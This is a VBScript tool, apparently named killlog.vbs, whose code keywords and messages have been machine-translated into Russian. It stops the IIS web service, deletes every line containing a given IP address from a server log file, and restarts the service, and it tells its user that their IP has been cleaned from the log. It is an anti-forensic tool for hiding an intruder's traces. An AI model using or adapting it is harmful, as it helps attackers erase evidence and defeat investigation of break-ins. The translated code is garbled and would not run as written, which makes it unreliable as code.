Опция явная
Dim Sourcefile, iPaddress, Objargs
const destfile = tempfile
Const forwriting = 2
Тусклый текст
Dim FSO, Objnet, ServiceObj
Dim TXTStream, TXTStreamout
Установить objargs = wscript.arguments
Если objargs.count = 2, то тогда
SourceFile = objargs (0)
iPaddress = objargs (1)
Еще
wscript.echo ошибка параметра+ vbcrlf
Wscript.echo Использование: killlog.vbs logfilename yourip.
wscript.quit 1
Конец, если
Установить fso = createObject (scripting.filesystemobject)
Если fso.filexists (sourcefile), то тогда
Установить objnet = wscript.createObject (wscript.network)
SET ServiceObj = getObject (winnt: // & objnet.computername &/w3svc)
Установить objnet = ничего
ServiceObj.stop
wscript.sleep 6000
Установите txtStream = fso.opentextfile (sourcefile)
Установить txtStreamout = fso.opentextfile (destfile, forwriting, true)
Делать, пока нет (txtStream.atendofstream)
Text = txtStream.readline
Если instr (текст, iPaddress) = 0 тогда
txtStreamout.writeline Text
конец, если
Петля
Установить txtStream = ничего
Установить txtStreamout = ничего
Wscript.echo файл журнала- & SourceFile и очистил ваш IP!
Еще
Wscript.echo файл журнала- & sourcefile и не нашел!
Wscript.quit
Конец, если
fso.copyfile destfile, sourcefile
fso.deletefile destfile
Установить FSO = ничего
ServiceObj.Start
Установить ServiceObj = ничего